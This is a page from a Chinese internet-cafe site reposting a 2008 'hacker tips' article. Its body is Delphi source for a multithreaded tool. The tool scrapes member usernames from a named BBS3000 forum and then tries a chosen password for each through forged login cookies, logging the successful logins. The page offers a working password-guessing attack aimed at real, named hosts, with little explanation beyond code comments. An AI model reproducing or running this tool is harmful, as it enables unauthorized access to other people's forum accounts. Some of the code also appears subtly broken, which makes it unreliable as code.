游戏预警 APP下载 开网吧 开网咖 开电竞酒店 网吧转让 网吧供求 关注公众号 网吧联盟论坛
 天下网吧 >> 网吧天地 >> 网吧技术 >> 网吧安全 >> 正文

黑客技巧系列之多线程扫描论坛弱口令

2008-2-18赛迪网佚名
【大 中 小】

{===============================}
{       by Lanyus         }
{       QQ:231221         }
{ E-Mail:greathjw [at] 163.com }
{===============================}

unit UtMain;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls, Buttons, IdBaseComponent, IdComponent, UtStart,
IdCookieManager, ScktComp, IdTCPConnection, IdTCPClient, IdHTTP,UtStartGetPW;
//IdTCPConnection, IdTCPClient, IdHTTP, ScktComp, UtgETun, IdCookieManager,IdHeaderList;

type
TFmMain = class(TForm)
  PageControl1: TPageControl;
  TabSheet1: TTabSheet;
  Memo1: TMemo;
  IdP: TIdHTTP;
  Memo2: TMemo;
  IdCookieManager1: TIdCookieManager;
  BitBtn3: TBitBtn;
  Memo3: TMemo;
  TabSheet2: TTabSheet;
  BitBtn2: TBitBtn;
  Memo4: TMemo;
  Memo5: TMemo;
  Memo6: TMemo;
  BitBtn1: TBitBtn;
  Label1: TLabel;
  Label2: TLabel;
  Label3: TLabel;
  BitBtn4: TBitBtn;
  Label4: TLabel;
  Edit1: TEdit;
  Label5: TLabel;
  Label6: TLabel;
  Label7: TLabel;
  Label8: TLabel;
  Edit2: TEdit;
  procedure BitBtn3Click(Sender: TObject);
  procedure BitBtn2Click(Sender: TObject);
  procedure BitBtn1Click(Sender: TObject);
  procedure FormCreate(Sender: TObject);
  procedure BitBtn4Click(Sender: TObject);
private
  TST:TStartGetPW;
  { Private declarations }
public
  { Public declarations }
end;

const
MAX_Thread_NO=6; //最大线程数

var
FmMain: TFmMain;
Pages:integer=0;
rs:string;
Start:array[0..MAX_Thread_NO] of TStart;

implementation

{$R *.dfm}

procedure TFmMain.BitBtn3Click(Sender: TObject);
VAR
rs:string;
i:integer;
begin
BitBtn1.Enabled:=True;
Start[0]:=TStart.Create(1,500);
Start[1]:=TStart.Create(501,1000);
Start[2]:=TStart.Create(1001,1500);
Start[3]:=TStart.Create(1501,2000);
Start[4]:=TStart.Create(2001,2500);
Start[5]:=TStart.Create(2501,3000);
Start[6]:=TStart.Create(3001,3464);
end;

procedure TFmMain.BitBtn2Click(Sender: TObject);
var
UNList:TstringList;
begin
tst:=TStartGetPW.create(false);
end;

procedure TFmMain.BitBtn1Click(Sender: TObject);   //读取用户暂停
var
i:integer;
begin
for i:=0 to MAX_Thread_NO do
begin
  if Start.Suspended then
  begin
    BitBtn1.Caption:='暂停';
    start.Resume;
  end
  else
  begin
    BitBtn1.Caption:='继续';
    Start.Suspend;
  end;
end;
end;

procedure TFmMain.FormCreate(Sender: TObject);
var
i:integer;
begin
for i:=0 to ComponentCount-1 do
begin
  if Components is TMemo then TMemo(Components).Clear;
end;
end;

procedure TFmMain.BitBtn4Click(Sender: TObject);
var
i:integer;
begin
if tst.Suspended then
begin
  BitBtn4.Caption:='暂停';
  tst.Resume;
end
else
begin
  BitBtn4.Caption:='继续';
  tst.Suspend;
end;
end;

end.

unit UtStartGetPW;

interface

uses
Classes,UtGetuserPsd,sysutils;

type
TStartGetPW = class(TThread)
private
  { Private declarations }
protected
  TS:TGetUnserPsd;
  procedure Execute; override;
end;

implementation

uses UtMain;

{ Important: Methods and properties of objects in visual components can only be
used in a method called using Synchronize, for example,

    Synchronize(UpdateCaption);

and UpdateCaption could look like,

  procedure TStartGetPW.UpdateCaption;
  begin
    Form1.Caption := 'Updated in a thread';
  end; }

{ TStartGetPW }

procedure TStartGetPW.Execute;
var
i:integer;
UNList:TStringList;
begin
freeonterminate:=true;
UNlist:=TStringList.Create;
UNLIST.LoadFromFile('username.txt');
for i:=0 to UNList.Count-1 do
begin
  TS:=TGetunserpsd.Create(UNList.Strings,i);
  sleep(StrToInt(FmMain.Edit2.Text));     //不要太快，否则打不开网页
end;
{ Place thread code here }
end;

end.

{===============================}
{       by Lanyus         }
{       QQ:231221         }
{ E-Mail:greathjw [at] 163.com }
{===============================}

unit UtGetuserPsd;

interface

uses
Classes,Idhttp,IdHeaderList,SysUtils;

type
TGetUnserPsd = class(TThread)
private
  { Private declarations }
protected
  UN,pW:STRING;
  uid:integer;
  idp:TidHttp;
  HttpHead:TidHeaderList;
  procedure Execute; override;
public
  Constructor Create(UserName:string;id:integer);
  Destructor Destroy; override;
end;

implementation

uses UtMain;

{ Important: Methods and properties of objects in visual components can only be
used in a method called using Synchronize, for example,

    Synchronize(UpdateCaption);

and UpdateCaption could look like,

  procedure TGetUnserPsd.UpdateCaption;
  begin
    Form1.Caption := 'Updated in a thread';
  end; }

{ TGetUnserPsd }


constructor TgetUnserPsd.Create(Username:string;id:integer);
begin
uid:=id;
un:=username;
idp:=Tidhttp.Create(nil);
httpHead:=TidHeaderList.Create;
inherited Create(false);
end;

destructor TgetUnserPsd.Destroy;
begin
idp.Free;
httphead.Free;
inherited destroy;
end;

procedure TGetUnserPsd.Execute;
var
html:string;
begin
freeonterminate:=true;
httpHead.Text:='cookie: nowtime=20060131210233; cometime=21_02_05__21_02_05_0Content-type: text/html; clicks=20060131172355; style=; lasttxt=20060131122028; username='+
          un+'; password='+FmMain.Edit1.text+'; xuansave=; estate=; line=; qmh=; bgcolor=';
idp.Request.CustomHeaders:=Httphead;
try
  html:=idp.Get('http://www.netxeyes.com/cgi-bin/bbs3000/race.cgi'); //偿试打开骞马页面，如密码正确则能正常打开
except
  try
    sleep(300);
    html:=idp.Get('http://www.netxeyes.com/cgi-bin/bbs3000/race.cgi');
  except
    FmMain.Memo5.Lines.Add(IntToStr(uid)+' '+un+' idhttp打开网页失败');
    Destroy;
    exit;
  end;
end;
if pos('出错提示',html)>0 then
begin
  FmMain.Memo4.Lines.Add(IntToStr(uid)+' '+un+' 登录失败');
end
else
begin
  if pos('赛马中心',html)>0 then
  begin
    FmMain.Memo6.Lines.Add(IntToStr(uid)+' '+un+' 登录成功');
  end
  else
    FmMain.Memo5.Lines.Add(IntToStr(uid)+' '+un+' 返回未知');
end;
  Destroy;
{ Place thread code here }
end;

end.

unit UtStart;

interface

uses
Classes,Idhttp,IdHeaderList,SysUtils,UtgETun;

type
TStart = class(TThread)
private
  { Private declarations }
protected
  idp:TidHttp;
  sn,en:integer;
  GETUN:TGetUN;
  S:TIdHeaderList;
  procedure Execute; override;
public
  constructor Create(sns,ens:integer);
  destructor Destroy; override;
end;

implementation

uses UtMain;

{ Important: Methods and properties of objects in visual components can only be
used in a method called using Synchronize, for example,

    Synchronize(UpdateCaption);

and UpdateCaption could look like,

  procedure TStart.UpdateCaption;
  begin
    Form1.Caption := 'Updated in a thread';
  end; }

{ TStart }

constructor TStart.Create(sns,ens:integer);
begin
sn:=sns;
en:=ens;
s:=TIdHeaderList.Create;
idp:=TidHttp.Create(nil);
inherited Create(false);
end;

destructor TStart.Destroy;
begin
idp.Free;
s.Free;
inherited destroy;
end;

procedure TStart.Execute;
VAR
rs:string;
i:integer;
begin
freeonterminate:=true;
s.Text:='Cookie: nowtime='+formatDateTime('yyyymmddhhmmss',now)+
      '; cometime=16_00_59__15_57_58_0; clicks=20020711142129; style=';;
idp.Request.CustomHeaders:=s;
for i:=sn to en do
begin
  FmMain.Memo2.Lines.Add(IntToStr(i));
  try
    rs:=idp.Get('http://bbs.netxeyes.org/cgi-bin/bbs3000/memberlist.cgi?page='+IntToStr(i));
    GetUn:=TGetUn.Create(rs);   //读取HTML代码后则交给分析用户名线程处理
  except
    try
    sleep(300);         //如果打开网页失败则睡眠300MS再继续
    rs:=idp.Get('http://bbs.netxeyes.org/cgi-bin/bbs3000/memberlist.cgi?page='+IntToStr(i));
    GetUn:=TGetUn.Create(rs);
    except
    FmMain.Memo3.Lines.Add(IntToStr(i)+'打开网页失败');
    continue;
    end;
  end;
end;
FmMain.Memo3.Lines.Add(IntToStr(sn)+' - '+IntToStr(en)+' 完毕');
Destroy;
{ Place thread code here }
end;

end.

unit UtGetUN;

interface

uses
Classes,SysUtils;

type
TGetUn = class(TThread)
private
  { Private declarations }
protected
  rs:string;
  procedure Execute; override;
public
  constructor Create(rss:string);
  destructor Destroy; override;
end;

implementation

USES UtMAIN;

{ Important: Methods and properties of objects in visual components can only be
used in a method called using Synchronize, for example,

    Synchronize(UpdateCaption);

and UpdateCaption could look like,

  procedure TGetUn.UpdateCaption;
  begin
    Form1.Caption := 'Updated in a thread';
  end; }

{ TGetUn }

Constructor TGetUn.create(rss:string);
begin
  rs:=rss;
  inherited Create(false);
end;

destructor TGetUn.Destroy;
begin
inherited Destroy;
end;

procedure TGetUn.Execute;
var
i:integer;
UserName:string;
TF:TextFile;
begin
freeonterminate:=true;
Assign(TF,'Username.txt');
if not FileExists('Username.txt') then
  Rewrite(TF)
else
  Append(TF);
i:=pos('menu=viewuser&username=',rs);
while i>1 do
begin
  delete(rs,1,i+Length('menu=viewuser&username=')-1);
  i:=pos(''')>',rs);
  Username:=copy(rs,1,i-1);
  writeln(TF,Username);
  FmMain.Memo1.Lines.Add(Username);
  i:=pos('menu=viewuser&username=',rs);
end;
closeFile(tf);
Destroy;
{ Place thread code here }
end;

end

欢迎访问最专业的网吧论坛,无盘论坛,网吧经营,网咖管理,网吧专业论坛https://bbs.txwb.com

关注天下网吧微信,了解网吧网咖经营管理，安装维护:


本文来源：赛迪网 作者：佚名

相关文章
AMD官方回应：目前正在调查 450 Gb 数据泄露事件  萌新必须get吃鸡的技巧 且苟且吃鸡  防止Win10电脑被黑客攻击的小技巧
小学生中流传ofo车锁破解技巧，实名验证存漏洞  在Pwn2Own黑客大赛荣获总冠军后  360又收获苹果官方致谢  周鸿祎要为黑客正名：白帽子人才应得到保护
技巧放送：网吧如何选购沙发  360搜索上线“悟空算法”  助百万站长抗击黑客攻击  网咖网吧设计配色技巧分享
Opera浏览器遭黑客攻击 部分用户账户信息或已泄露  
聚合推荐 ┊ 更多专题..
 2022年网吧恢复营业时间   网吧卫生   网吧电脑配置   开网吧   网吧键盘   网吧配置   网吧GHOST   ROS   网吧软件故障解决   网众无盘   网吧游戏菜单   网吧活动   网吧优化   网吧精品   网吧新手
声明
本文来源地址：0
声明：本站所发表的文章、评论及图片仅代表作者本人观点，与本站立场无关。若文章侵犯了您的相关权益，请及时与我们联系，我们会及时处理，感谢您对本站的支持！联系Email：support@txwb.com.，本站所有有注明来源为天下网吧或天下网吧论坛的原创作品，各位转载时请注明来源链接！
天下网吧·网吧天下

推荐文章

网吧显卡、CPU装X工具及C#源码下载和分析
本工具为修改网吧客户机系统/家用机电脑的设备管理器和，我的电脑属性里面的有关CPU和显卡标题的工具。本工具包含源码效果截
上海：网吧行业开放意愿强烈，除KTV外，「视情严而有序逐步开放」
天下网吧消息，近日「上海发布」的官方微信公众号发布了《我市KTV场所暂缓开放，其他娱乐行业场所根据各区疫情防控形势，视情

最新文章

2022-07-09日游戏更新信息,网吧、电竞酒店敬请关注（3）
2022-07-07日当日最新的网吧游戏更新信息，主流的网咖PC端游和手机游戏的更新信息，比如英雄联盟，DNF，网吧吃鸡
早啊，读懂天下时间——2022-07-09
🌹每个人的生活都要靠自己去谱写，没有谁可以一直被你依赖，也没有人能够替你成长。锻炼身体，好好爱护健康；敢
  • 本周热门
  • 本月热门
  • 阅读排行

天下网吧、网吧天下 - 爱网吧、爱网咖，爱这里。人人为我我为人人！

Copyright ©TXWB.com, All Rights Reserved.

天下网吧版权所有
ICP备案号:渝ICP备20008032号-2 网上有害信息举报专区 闽公网安备35010202000238号